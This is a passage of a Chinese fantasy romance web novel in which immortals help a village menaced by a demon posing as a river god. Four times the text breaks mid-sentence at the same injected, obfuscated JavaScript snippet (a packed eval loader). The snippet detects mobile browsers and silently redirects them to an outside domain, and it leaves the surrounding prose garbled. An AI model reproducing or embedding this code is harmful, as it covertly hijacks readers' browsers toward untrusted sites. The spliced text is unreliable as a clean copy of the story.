何升泰温言劝道:“你先别着急,说不定村里还有旁的女儿愿意嫁……” 李川生打断他的话,冷笑一声,扯开血淋淋的事实:“有哪家愿意让女儿去死?” 何升泰沉默了,屋外暴雨如注,狂泄而下,如一头凶猛的兽,要将整个何家村吞没。 …… 第二天下午,何成业和何升泰商量了一下,把村子里剩下的人召集起来一起想对策。 何升泰简单把昨天的场景复述了一遍,艰难地开了口:“河神要娶亲,可有人愿意为了整个何家村去的?” 村子里和何荟年纪相仿的适婚女子不少,听了这话,她们一个个都脸色发白,身体颤抖。其他人你看我我看你,都不知道怎么办才好,女孩们自己害怕,做家长的又何尝能忍心看孩子去死? 何成业用暗淡的眼光扫视了众人,痛苦地闭上眼,“既然大家都没什么办法,那只能趁村子被淹前搬出去了。” 他真是个没用的村长…… 此话一出,原本安静的人群中顿时爆发出各种不同的声音。 “什么!?搬家?这哪行!” “李福贵有他婆娘家接济,我可没地去啊!” “老婆子我的根就在这,哪也不去……” “我爹娘都七老八十了,路都快走不动了,更别说搬家了。” “我生在何家村,长在何家村,难道要因为这劳什子河神搬出去?我呸!我们何家村不知哪里惹到他了!” “唉,这可怎么办……” “村长,你再想想,还有其他什么办法不?” 何成业在七嘴八舌中快要被压倒,大家的声音越来越模糊,突然,一道熟悉的、清晰的声音传进他耳中—— “爹,我愿意,我愿意嫁给河神。”何荟握住他的手,给他支撑身体的力量。 何成业睁开眼,女儿的眼神温柔而坚定,带着一往无前的勇气。 何成业愣住了,他动了动嘴唇,却想不到说什么。 喧闹的人群瞬间冷却下来,数十双眼睛齐齐震惊地看向何荟,李川生更是不可置信,喊出口的名字都变了调:“……阿荟?” 何荟也不知道自己为什么突然愿意嫁给河神了,她想起十多年前那场饥荒,那时她还很小,村长何升泰救济别村逃过来的难民,她爹更是把自家的粮食分出去一半,救活了李川生一家。 也许是,她想肩负起作为村长女儿的责任;也许是,她不想再看到她爹萎靡不振的样子。 何成业眼角有泪滑落,抓着女儿的手,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242836|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住地摇头。 何荟拍拍他的手,淡然地笑:“用我一个换整个何家村,值得。” 李川生握紧的拳头愤愤松开,只留下无奈,他知道何荟的性子,认定了一件事就绝不回头,既然她意已决,他也不劝阻什么,只是说:“阿荟,你死了,我也绝不独活。” 这回,李兴旺也没说什么,他们一家的命,本就是何成业救的。 何荟没有说话,她不敢看李川生的眼睛,但她完全可以想象得到那双眼睛含着的决绝,李川生表面温和,其实骨子里比她还倔。 这时,王青芬又跳了出来:“不行!怎么能让何荟去呢,村长为咱们贡献了这么多,既当牛又做马的,怎么还能让他女儿嫁河神呢!” 她心里打着小算盘,要是何荟同李川生定亲,还有争一争的可能,要是嫁给了河神,她家继金可就完全没机会了。 何成业抬眼看她,何荟皱起了眉,李川生面露一丝期待,何升泰开口问道:”那你说该怎么办?” “那自然是换一个姑娘去。”说着,王青芬那双细小的眼睛暗示性地看向最近的一个女孩翠萍。 那女孩直接害怕地缩进了她娘怀里,妇人毫不留情地骂道:““呸!你家没有女儿,你自然不心疼!站着说话不腰疼!” 何升泰不悦地杵了杵拐杖,“你这不是捣乱吗!” 有女儿的人家全都骂起王青芬来,但她本就是个没脸没皮的,别人生气对她也不打紧,还用手肘推了推何继金,示意他帮腔。 何继金就像被人推着上台演戏似的:“是、是啊,阿荟,你可不能去啊。” 何荟厌恶地看着这母子俩,“别叫我阿荟。” 这热闹的档口,突然有个小孩子头顶一只大大的斗笠哼哧哼哧跑了过来,好巧不巧,就是刚刚怼王青芬的那个妇人的儿子。 女孩看到弟弟,很是惊讶,“小宝怎么跑来了,不是叫你乖乖待在家里吗?” “姐姐、爹、娘,我刚刚还在睡觉,醒的时候屋子里突然出现了一个仙女姐姐,她说她是河神,要村子里俊俏的男子给她作夫君,在后天晚上娶亲,否则就淹了村子。” 小宝的爹面容严肃,“确定不是你在做梦?” 小男孩用力点了点头,“嗯。” 旁人有怀疑的:“他该不会在说胡话吧?” 妇人大声道:“我家小宝从不说谎,既然河神能出现在锁好门的家里,她确实有本事淹了村子,这可怎么办啊!” 她心里松了一口气,既然河神是女的,要男子,她家翠萍就不用受罪了,小宝年纪又小,不符合条件。 一波未平一波又起,何升泰长吁短叹:“这、怎么又突然变成了要男子。那……可有谁家男子愿意去?” 王青芬又开始兴风作浪:“诶,李川生可是咱们村公认最俊的男子了。” 把李川生送给河神,继金娶何荟的机会可就大了。 收到他娘的眼神示意,何继金马上接过话头:“是啊是啊,川生你平常最乐于助人了,你不会弃我们整个村的安危于不顾的吧?” 李川生还没表示,何成业问小宝:“河神可还有说什么?” 男孩歪着头,转着眼珠思考,“唔,漂亮姐姐还说了她会好好对待夫君,还给他享不尽的荣华富贵。河神还说,还说……她一句话有九个鼎那么大。” 翠萍念过一点书,忍俊不禁:“是一言九鼎吧?” “对!一言九鼎!” 王青芬一听荣华富贵眼睛都亮了,赶忙推荐起自家儿子:“我家继金也是一表人才,既然李川生与何荟两情相悦,不如就让他去吧!” 何继金则是更关注另一点,贼兮兮地:“有多漂亮?比何荟还漂亮?” 小宝没敢答话,因为他娘已经气势汹汹指着王青芬母子俩鼻子骂起了不要脸。 王青芬气结:“你……!” 何荟现在连白眼都懒得翻,何继金愿意去是最好,少了一个烦她的人,李川生不必为难,何家村其他人也能够平安无事。 5. 稻谷酒(三) 虽然雨还是没停,但河神的事算解决了一半,大家的心情已然轻松很多,现在受到拜托的何成业正忙着找绣娘缝制嫁衣,各家各户挑选一些礼品送给何继金,王青芬接礼物接得手软,笑得合不拢嘴,眼睛显得更小了。 又送走一户送礼的人家,王青芬关上门,“继金啊,你爹走得早,我辛辛苦苦把你拉扯长大,你跟着河神吃香喝辣可不能忘了老娘啊,听说那水里可有不少宝贝呢,你娘这辈子还没尝过穿金戴银的滋味呢。” 何继金对着礼物左看看右看看,同样也止不住笑意:“娘,这是自然。” …… 何成业再三叮嘱绣娘:“务必要在明天下午前完工。” 将嫁衣的事情安排妥当后,何成业回到家,看到何荟拿着一片东西,疑惑地问他:“爹,这是什么?我刚刚准备找点东西送给何继金时从箱子底下翻出来的。” 何成业接过来一看,那是一张只有掌心大小的纸片,却色泽温润,纹理细腻,触感柔滑,仿佛轻纱拂过指尖,彰显着不凡的品质。 何成业晃了晃神,在记忆里寻找纸片的下落,不多时他猛地一拍头,“这是仙官给的符纸!” 何荟疑惑更甚,却听何成业缓缓道来:“天界为了帮凡间化解灾祸,在十年前设立了解忧仙官一职,给每地发放符纸,若是遇到大困难,便可将遭遇写在符纸上祈求仙官帮助。” 自饥荒以来,何家村没有遇到过什么大难题,以至于符纸落了灰,他都忘了这件法宝。 何荟觉得很神奇,又不太相信:“这符纸这么小,会不会写不下啊?而且咱们何家村地处偏僻,他们能找到吗?” 何成业笑道:“仙官说过,符纸会根据书写者心意变幻大小且自带定位,不必担心。” 何成业拿来毛笔,斟酌好语句,缓缓落笔——“河神连日降雨害农事,强抢民男,欲在一天后淹了村子,求仙官救急”。 虽然河神说自己的话一言九鼎,但若是何继金不能另她满意,后果不是何家村能承担得起的,况且找仙官帮忙多份保障总是好的,万一河神又得寸进尺开出其他条件,他们经不起第二次折腾了。 何成业想着,越发觉得这符纸发挥大作用了。 搁笔,符纸已变成手掌大小,即使劣等的墨迹在其上也流畅而不洇渗,呈现出细腻的笔触。 下一瞬,符纸无火自燃,化作莹白色的光点飘向远方。 何成业语气虔诚:“希望我何家村能平安度过此劫。” …… 何荟左手抱着礼物,右手敲响王青芬家的门:“咚咚咚——” 其实她不想来这一趟,但又想让她爹多休息会儿,没办法,只能她来送了。 王青芬开门,脸上带着自得,语气不似往日般讨好,“哟,何荟呀。” 何荟没出声,打算把东西递给王青芬就走的,多看一秒这对母子她都不舒服。 哪知何继金探过来,调侃道:“诶,何荟,看在咱俩的情分上,兴许我以后能送你些水里的珍珠宝石呢。” 何荟忍不住骂:“呸,谁和你有情分!” 人怎么能没脸没皮到这种程度? 听完何荟的叙述,锦棠觉得何继金真是无耻到了极致,何荟受了太多了精神折磨了。 何荟猛地喝了几大口茶,润了润嗓子,一下子绘声绘色地讲了这么一大通,给她累的。 其实她觉得这三人看上去不太靠谱,一个过分漂亮的少女,一个俊秀可爱的小男孩儿,还有一个大腹便便,和她想象中玉树临风仙气飘飘的神仙差的不是一点半点。 但俗话说人不可貌相,何荟还是秉持着十分尊重的态度,毕竟他们是货真价实的神仙,能帮村子解决困境。 何成业给女儿续上茶,诚恳地看向敦九三人,“事情就是这样,仙官大人可有想到什么好办法?” 敦九皱着眉:“据我所知,河神尽忠职守,行事端方,心怀百姓;且他为男子,也并无龙阳之好,万不会有‘强抢民男’一说。” 何成业一惊,敦九继续道:“我倒是觉得此地妖气浓郁,怕是有妖怪假借河神身份为所欲为。” 锦棠这才意识到自己没听到重点上,刚才光顾着替何荟烦王青芬何继金了。她是不是业务能力不过关啊?不过看泷宋的样子,估计和她差不多。 正想着,却听泷宋道:“看来这妖怪也擅长水系法术,我学的流云剑应当能派上些用场。” 不对呀,怎么能被弟弟抢了风头! 锦棠端了点腔调:“此次闭关我也有许多收获,愿尽绵薄之力。” 泷宋看了她一眼却没说什么,但锦棠最了解他,那样子分明在说,锦棠,你什么时候这样说话了。 好吧,她承认自己是个幼稚鬼,但她想表现自己是真的,想帮何家村也是真的。 看到两个小辈如此懂事,敦九赞许地点点头。 何成业倒吸一口凉气,拱手道:“劳烦几位仙官大人!” 敦九摆摆手,“我们自当尽心尽力,既然这假冒的河神要在明晚娶亲,那我们不妨将计就计,先依着她的意思办。” 何成业有些迟疑:“和妖怪在一处,继金那孩子会不会有危险?” “人家想着荣华富贵呢,这点风险都不敢……”何荟话说到一半,忽然想起来有三位陌生神仙在场,立即噤声。 敦九点头道:“这倒是我欠考虑了,毕竟是肉体凡胎……” 敦九还没想出应对之法,忽然有人到访:“村长在否?” 人未到,声先至。 声音朗朗如松间明月, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242837|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皎洁清润,还有点熟悉。 何成业起身开门,来人身着白衣,面如冠玉,清举俊雅,衣袂飘飘,不染凡尘。 只一眼,锦棠便瞪大了眼睛:“裴轼?” 他同样愣住:“锦棠?” 裴轼看向旁边的敦九和泷宋,马上明白过来他们是来解忧的,这也正印证了他感应到此地情况非常,有动乱发生。 何荟眨了眨眼,有点懵,既然他们认识,那刚刚进来的这位也是神仙?嗯,这气质,看着确实挺像的。 “敦九伯伯,泷宋。”裴轼向他们打完招呼,又对何成业和何荟行了拱手礼。 何家父女俩有点受宠若惊,赶忙招待裴轼入座。 裴轼说明来意:“前日河神沅淼受伤,妖怪作乱导致人间水域动荡,我于昨日下凡,感受到此地妖气大作,沿路整治,所以现在才到,希望没有来迟。” 锦棠咬了下唇,原来裴轼是先下凡了,所以才没有来送她。 敦九一副恍然大悟的样子:“原来沅淼是受伤了,怪不得。那假冒他的人又是谁呢?” 接着他将假河神作乱的事情以及应对想法说给裴轼听。 敦九看着裴轼说道:“将计就计深入敌方是优解,但凡人身体脆弱,容易被妖怪所伤,最好换一个有术法之人代替。” 裴轼怎么会不明白这暗示,敦九体硕,泷宋幼小,自然是他最适合“嫁”给假河神,只是…… 锦棠突然大声道:“不行!裴轼不能去!” 见好几双眼睛齐刷刷疑惑地看向自己,锦棠咬咬牙:“我才是仙官助手,我……要尽好自己的责任,我去代替何继金!” 她以后可是要嫁给裴轼的,他怎么能同别人成亲,就算是假的做戏也不成! 泷宋觉得这理由有点奇怪,但也全当锦棠想出风头,暗想她要怎样把风头抢回来。 敦九显然没意识到锦棠心中的弯弯绕绕,只觉得她很有担当,懂事了不少,“嗯,既然锦棠愿意舍己为人,那就让她去吧,化了妆扮个俊美男子也不难。” 敦九开了口,裴轼也不好再说什么,锦棠有法术在身,又有他们一行人帮衬,不会有什么危险;假河神也是女子,她们接触也无妨…… 意识到自己在想什么,裴轼耳廓染上薄红,同时内心有几分欣喜,锦棠阻止他去的原因里,会不会有一点与他的想法相同呢? 何荟看看涨红脸的锦棠,再看看羞涩的裴轼,总觉得哪哪不对劲,这两人,有猫腻吧? 何成业喜不自胜:“多谢几位大人,你们都是何家村的大恩人呐!” 敦九连忙摆手道:“不必客气,这是我们应该做的。” 何家村地处偏僻,但旁边是山区要道,附近刚好有一所客栈,天色已晚,他们四个就在客栈歇下。 6. 稻谷酒(四) 客栈的条件和桃苑没法比,锦棠昨晚没睡好,早早就醒过来,这会正无聊,趴在床上玩她的戒指。 长风银做戒圈,雕镂出藤蔓环绕的形状,粉灵玉的桃花大小错落,虽然不精致,但胜在灵动可爱。 这是裴轼送她的。 锦棠的脸微微发红,她看过的话本子里,凡间有以戒指为定情信物的传统……但这个戒指是储物用的,而且是小时候的礼物,裴轼应该只是把她当好朋友。 “笃笃笃。”锦棠思绪飘悠,听到有人敲门,有种少女怀春被抓包的羞恼,想也不想就下床开门,语气不好:“谁呀?” 看清楚来人,锦棠迅速关上门,脸颊发烫,心跳飞快。 怎么会是裴轼啊啊啊啊! 她头发都是乱的,语气又不淑女,裴轼肯定看到了听到了,她的形象呜呜呜…… 锦棠追悔莫及,连忙整理衣服头发,还从储物戒指里拿出镜子照了又照,确保完美才再次开门。 “裴轼,你找我有什么事吗?”方才脑海中的人近在眼前,锦棠脸色发红,神情也有点不自然。 裴轼长得可真好看……啊呀,她怎么又犯花痴了! 裴轼歉疚道:“我有没有打扰到你休息?” 锦棠急忙摆手:“没有没有。” 一只传音玲珑浮在裴轼手心,“我们互相在对方的传音玲珑里注入灵力,以后方便联系,可好?” “好、好呀。”锦棠有点害羞,她没注意到裴轼白皙的耳朵已经染上粉色。 锦棠注入自己的灵力后,她看到裴轼在对应区域刻了朵小桃花。 锦棠的脸又红了。 轮到锦棠给裴轼输入灵力的区域刻图案的时候,她思考了一下,缓缓刻下一个…… 裴轼有点意外:“圆圈?” 不过刻什么图案都是锦棠的自由,他能在她的传音玲珑上有一个位置已经很好了。 锦棠解释道:“是糯米团子啦。” 她的画工有这么不好么? 她和裴轼第一次见面时,裴轼脸圆圆的白白的,像个糯米团子,不像现在高高瘦瘦的。 裴轼一怔,少女咬字软糯,勾起他不算久远的记忆。 天庭举办酒宴,众神仙谈笑风生,觥筹交错,热闹非凡。 唯有裴轼闷闷不乐,入座没多久便趁着大人们不注意跑到外面,坐在角落里低着头偷偷抹眼泪。 他的小兔子死了。 上次和父帝母后游玩凡间,他不该私自把可爱的小白兔带到天界来的,天上经过一天等于人间过了一年,不过十天,鲜活的小白就变成了冰冷的尸体。 他向掌管花草树木的神仙要来一颗菩提树种,把种子和小白一起埋在了泥土里,希望种子发芽的时候,小白也已入了轮回。 父帝母后希望他稳重有担当,他却因为贪玩害死生灵,让他们失望;他刻苦学习法术,与几个兄弟姐妹都不怎么亲近,更没有什么朋友,没有可以倾诉的对象。 “呼——宴会无聊死了,我还是回去睡觉吧。不过桌上的糕点还挺好吃的,嘿嘿,还好我多拿了几块。” 裴轼正伤心着,听到一个小女孩在自言自语,抬头看去,她穿着一身粉红衣裳,扎着两个小髻,娇憨明媚,和他完全是两类人。 她看到了他,靠近他,问他:”谁欺负你了?” 裴轼没有回答,他不知道怎么说,这算他自己欺负了自己吗? 小女孩眨眨眼,又拿出一枚桃花酥递给他,香气扑鼻,粉嫩诱人。 他没接,因为她看上去很不舍,他不应该拿走别人的心爱之物,若他不带走小白,会有好主人养它爱它,让它寿终正寝,而不是在天界快速地衰老,痛苦地死去。 她的语气听上去有点生气:“那好,你不吃我吃。” 裴轼垂下眼,准备用沉默拒绝小女孩的好意,等她离开,没想到她直接拉起他的手,开始狂奔,“跟着我。” “诶!”裴轼万分震惊,他原是想等酒宴快结束时溜回去的,没想到这小女孩如此大胆,打乱了他的计划。 小女孩也不用法术驾云赶路,就拉着他两个人四条腿一路跑,速度飞快。 劲风扬起她的发丝,触及皮肤时,带来丝缕痒意;粉红发带飘摇,桃花发饰闪着光,连同她那双像是含着星辰的眼睛,深深印在他心底。 不多时,女孩松开和他拉在一起的手,擦擦额头的汗,耸肩长长呼出一口气:“呼——终于到了。” 裴轼抬头看,匾额上写着“桃苑”二字。 还没等他问她要做什么,女孩又自然地拉起他的手,带他走进去。 “这里就我们两个人,不会被别人听到的,有什么烦心事你跟我说说呗,我绝对不告诉别人,我保证!” 她停下脚步,扭头着看他,语气认真。 心中最柔软的地方被触及,裴轼鼻子一酸,差点又要哭出来,女孩见他的模样,有点着急:“别哭别哭……唉算了,你哭出来吧,哭完就好了。” 裴轼深吸了一口气,把眼泪压下去,低声向她倾诉起来。 听完小兔子的遭遇,小女孩沉默了会儿,咬着下唇转着眼睛似乎在思考怎么安慰他,随后她郑重道:“你在这等我,我很快就回来。” 裴轼在原地等了一会儿,女孩双手藏在身后,蹦跳着朝他走来,献宝似的亮出手心的—— 一坨面团?上面还粘了两片桃花瓣? 裴轼不明所以,又见她双手捧着面团挡住自己的脸。 “我是小白,我已经去极乐世界啦,那里有吃不完的青草和胡萝卜,还有很多小伙伴和我一起玩,我每天都可高兴啦。主人,我不怪你的,你也要每天都开心哦。” 听了这番话,裴轼才反应过来两片花瓣是眼睛,面前是团兔子,可是嘴比心快:“这是……你给我捏的兔子?” 刚问出口裴轼就后悔了,他这么说小女孩肯定会不开心的,他又弄坏了一件事。 果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242838|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小女孩的表情变得有些难过。 裴轼编了个善意的谎言:“我忘了和你说,小白是一只灰色的兔子,所以我一开始才没认出来,你捏得……很可爱。” 他还是不能说出捏得很像这种话来。 小女孩又露出一个灿烂的笑容:“那就好。” 她拍拍他的肩膀,关切地问:“你感觉好些了吗?” 裴轼点点头,恢复了些神采,“嗯。” 她安慰人的方法很可爱,和她的人一样。 见裴轼心情好了很多,锦棠调侃他:“小白是灰色的兔子,你这名字取得可真有趣。” 裴轼耳朵染上薄红,他……第一次说谎。 微风拂过,有桃花瓣落在她发上,女孩笑意盈盈:“我叫锦棠,你叫什么名字呀?” “我叫裴轼。” 她用两根食指顶住两颊,“好噢,裴轼,那从现在开始我们两个就是好朋友了,你同不同意?” “同意。” 锦棠开心地拍拍手,“好耶!我带你逛逛桃苑吧,这是我住的地方。” “好。” “裴轼,有没有人说你长得像糯米团子啊?” “……没有。” “白白的圆圆的,就是很像嘛。” “……” 裴轼恍了恍神,那天锦棠还带他去厨房捏了糯米团子,不过他们都不懂怎么做糕点,只是捏着玩。 锦棠捏的小白也被他用法术保存起来了,不会腐烂,一直留在天界。 “我刻的很不像吗?”锦棠抿着唇。 裴轼微笑道:“没有,很可爱。” “嘿嘿,那就好。” 这时,裴轼的传音玲珑发出剧烈的震颤,刻画的山峰亮起金光,紧接着一道严肃的嗓音响起:“轼儿,裴若趁我们不注意时偷偷溜去了凡间,你务必要找到她。” 又有女子带着哭腔的声音传来:“呜呜呜,这小丫头,真是翅膀硬了,不听爹娘的话呀!她要是有轼儿你一半懂事就好了,成天让我和你父帝操心……” 裴轼声音沉静:“妹妹有法术在身,应当能保证安全,我会尽快找到她,请父帝母后放心。” 裴皓表示赞同:“嗯,她有法宝和灵力傍身,伤不了性命,也不必特意去寻,让她在凡间吃点苦头,好长点教训。” 默默当听众的锦棠眨眨眼,这还是刚刚那个着急的天帝吗? 江卿云附和道:“轼儿你不用有太大的压力,若若她贪玩,兴许玩累了自己就会回来。” 她又勾起唇角:“你和锦棠那小姑娘要好好相处呀,祝你们事业顺利,在人间玩得开心。” 突然听到自己的名字,锦棠没往别处想,赶紧道谢:“会的会的,谢谢天后娘娘。” 上次她误喝了天帝要送给天后娘娘的酒,这次可不能再不尊重了。 传音玲珑那头顿了一下,随即爆发出欢快的笑声,锦棠愣愣的不明所以,裴轼的耳垂红得要滴血。 7. 稻谷酒(五) 锦棠一行人稍作休整,回到何家村,在村长家吃过午饭,去向何继金要嫁衣。 何成业带路,这会儿各家都是吃饭休息的时间,路上没碰到其他村民。 到了地方,敦九上前敲门。 “谁家现在才来送礼?不过也不算迟……”王青芬搁下筷子,小声嘀咕着打开门,却看到三张生面孔,中间的膀大腰圆,给她吓了一跳。 “这四位是能帮咱们村的神仙,先让他们进去吧。” 何成业出声,王青芬才注意到最边上站着村长,不过哪来的四位? 她低头,才发现还有个小孩儿。 这……他们……神仙? 见王青芬呆愣在门口,何继金好奇地张望,嘴里嚼着饭菜含糊地问:“娘,谁啊?” 锦棠不等王青芬回应,自己推开门走了进去,微仰着头右手往前一摊,“我们是来帮你的神仙,快把你的嫁衣给我。” 何继金顿时瞪大了眼睛,手中的碗筷发出清脆的掉落声响,“仙女啊……” 还好何荟不在此处,不然她见到何继金这副烂泥扶不上墙的样子肯定要翻白眼。 锦棠皱了下眉,这人有没有在听她说话?果然如何荟所说的一般轻浮讨厌。 裴轼不动声色地近前,站到锦棠身侧,“河神身份为假,实是妖物作乱,你身为凡人前去会有危险,麻烦将嫁衣交给我们。” 王青芬只怕河神娶亲的对象变了,她和她儿子享不了富贵日子,着急道:“这、怎么会呢?她能操控下雨,河神怎么会是假的呀!” 敦九灵光一现,能操控下雨的妖怪…… 泷宋一副小大人的样子:“她的身份都是假的,说的话还有什么可信?” 何继金受了刺激,猛地从凳子上站起来,“骗人!你们都骗人!肯定是要抢走我的荣华富贵!” 他指着裴轼吼道:“是你,是你对不对!你想要代替我!我承认你确实有几分姿色,可嫁衣是为我量身定做的,我绝不会给你们!” 何继金的面容扭曲起来,锦棠觉得多看一眼都是污染她的眼睛,现在她更能体会何荟的无语了,被这样的人一直缠着,谁能忍住啊? 何成业出来打圆场:“继金啊,你冷静一点,四位大人是来帮……” “啊!”何继金尖叫一声,突然有尖利的东西抵住了他的咽喉,随着他出声的动作,痛意袭来,皮肤上渗出血珠。 王青芬被吓得差点跳起来:“你要对我儿子做什么!” “假河神是骗你的,她会杀了你。”锦棠恐吓道,配上她的小法术,格外有说服力。 跟这对胡搅蛮缠的母子讲道理是讲不清的,只能用一些非常手段。 泷宋配合地压低了声音:“说不定会把你大卸八块丢河里喂鱼。” 锦棠很满意,看来她和泷宋之间还是有些默契的。 何继金已经被吓得腿软,马上举起双手,“给,我给!” 锦棠一挥手,何继金才看清那可以害他性命的东西竟然只是一片桃瓣,落得又轻又缓,在触及地面的那刻消失了。 王青芬惊魂未定,赶紧拿来嫁衣,“这嫁衣送过来还没穿过,求各位大人饶过我们。” 锦棠接过嫁衣,后知后觉想起来自己刚刚的举动是不是太粗鲁了,裴轼还在旁边看着呢…… 她的形象又又又崩了啊啊啊! 转头看到裴轼微微皱眉,锦棠心都凉了,耷拉着脑袋,哦不…… 耳畔传来极致温润的声音:“这嫁衣料子粗糙,恐怕会磨伤你的皮肤,要不还是我去吧。” 锦棠惊讶地抬眼,诶?原来裴轼是因为这个皱眉吗,那他……这算是关心她吗? 锦棠脸颊发烫,神色却无比认真,“没关系的,就穿一个晚上而已,我作为仙官助手,要是这点苦都不能吃,还怎么帮大家解忧?” 敦九哈哈大笑,言语间全是赞许之意:“锦棠真是长大了呀!” 裴轼轻扬唇角,笑意如春日微风,锦棠已经不是那个贪玩的小女孩了,她有了自己的责任与担当。 …… 天色渐渐暗下来,到河神娶亲的时候了。 为避免人多口杂坏事,换了新郎的事没告诉其他村民,何继金待在家里,王青芬作为新郎唯一的娘家人要在起轿前说些体己话。 花轿周身朱红,绣着精致的纹样,轿顶四角悬着小巧的金色铃铛,风一吹,发出清脆悦耳的响声。 王青芬掀开绣有鸳鸯的轿帘,拉住锦棠的手,想到失去的荣华富贵,装出来的泪也掺了几分真心,“儿啊,纵然娘心中有千般不舍,还是祝你幸福安康!” “起轿——”喜娘高喊一声,轿夫们齐声应和,动作划一,膝盖微弯,双手握住轿杠,稳稳抬起花轿。 坐在摇摇晃晃的花轿上,锦棠回想起敦九说的话,无论是他们还是裴轼,来何家村之前都收敛了灵力的气息,假河神应该不知道掉包之事,就算假河神事先发现且早有应对,也不用担心,四个神仙对付一个妖怪绰绰有余。 锦棠做了个深呼吸,脑海中复习着一个又一个闭关时苦练的法术,说不紧张是假的,她毕竟还是个半吊子。 很快到了河边,轿子停下了,锦棠听到周围热闹起来——“农民”与“河神”结亲,村民们都忍不住好奇心来围观,满满地挤在一处,可惜有盖头遮着,外面的场景她一点儿也看不见。 忽而响起女子的娇笑声:“除了新郎,其他人都离开吧。” 声音不知从何处传来,如丝如缕,优美的语调掠过心田,不禁让人遐想她红唇勾起的模样。 假河神释放出一些威压,受到压迫感的村民想到她放言淹村的冷酷,不敢继续待在这,在何成业的催促下很快就都走了。 锦棠眼前只余一片漆黑,微风吹过,树叶沙沙作响,声音格外清晰,四周的空气带着一丝凉意,悄然侵入衣襟。 她安静等待着假河神出场,握着拳头,神经紧绷,不敢有一丝放松。 虽然知道有敦九他们在暗中保护,但第一次独自面对一个实力不明的妖怪,锦棠还是有些害怕。 时间一分一秒流逝,花轿中却只能感受到她自己的呼吸和心跳,锦棠内心越来越焦灼,呢喃着:“怎么还不来……” 终于,她忍不住掀起红盖头,略微犹豫后,拉开了轿帘。 “啊!” 就在这刹那间,一只冰凉的手握住了她的手腕,力道很大,锦棠惊叫出声,身体猛地一颤,大脑停止了思考。 见到这一幕,暗中观察的裴轼想要上前,却被敦九拉住,摇头示意现在不是动手的好时机。 锦棠定了定神,面前的女子肤若凝脂,但毫无柔弱之感,她眼眸狭长,鼻梁高挺,薄唇嫣红,金色发冠将一头乌发高高束起,英气逼人。 假河神也收敛了气息!她是什么时候来的,完全没有感觉到! “女子?”她端详着锦棠的样子,挑了挑眉,声音不似之前妩媚:“无妨,女子我也喜欢。” 她左手松开锦棠的手腕,转为手指勾绕起了新娘的头发:“你既长得这么漂亮,我为你变成男子也未尝不可。” 女子的嗓音渐渐变得低沉而富有磁性,随之改变的是她的容貌。 两弯剑眉斜飞入鬓,星眸深邃锐利,绯色的薄唇轻轻勾起,平添几分魅惑。 眼前的男子眼含深情,语气调笑:”娘子,为夫这副相貌,可还满意?” 锦棠惊得目瞪口呆,这……她……他…… 前方忽现浓密的雾气,迅速扩散开来,一人以极快的速度冲来,大喊道:“妖怪,还不快快束手就擒!” 这声音,是泷宋! 一个眨眼,泷宋已经距离花轿不到五步,灵力汇成利剑攻来,假河神皱了皱眉,迅猛转身,左手挥袖抵挡,右手将锦棠护在身后:“躲好。” 可这举动落在三人眼里便是假河神要挟持锦棠当人质。 敦九双手不停变幻,在空中勾勒出神秘而繁复的符文,末了,他捋着胡子笑眯眯的,“还好下凡前向祈风讨教了设结界的法术,不然打起来要殃及无辜。” 三只酒坛子环绕在他身边,不过他不打算加入战斗,毕竟他出手算以大欺小,正好让三个小辈发挥发挥实力,打打配合。 裴轼面容冷肃,周身散发出清冷的白光,灵力化为巨大的冲击波向前袭去,“锦棠,小心!” 泷宋身如游龙,剑指假河神眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242839|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。 假河神双手交叉,催动全身妖力勉强能抵挡,可嘴角已经力不从心地渗出鲜血。 听到裴轼叫她的名字,锦棠才猛然想起来敦九让她趁假河神最放松警惕的时候用法术,配合他们一招制胜。 就是现在! 锦棠迅速掐了个法诀,一掌拍在他的后背。 轰的一声,假河神在巨大的力量作用下撞上花轿,吐出一口鲜血,轿子也支离破碎。 见状,泷宋和裴轼立刻收手,纷纷关心锦棠有没有受伤。 锦棠摇摇头:“我没事。” 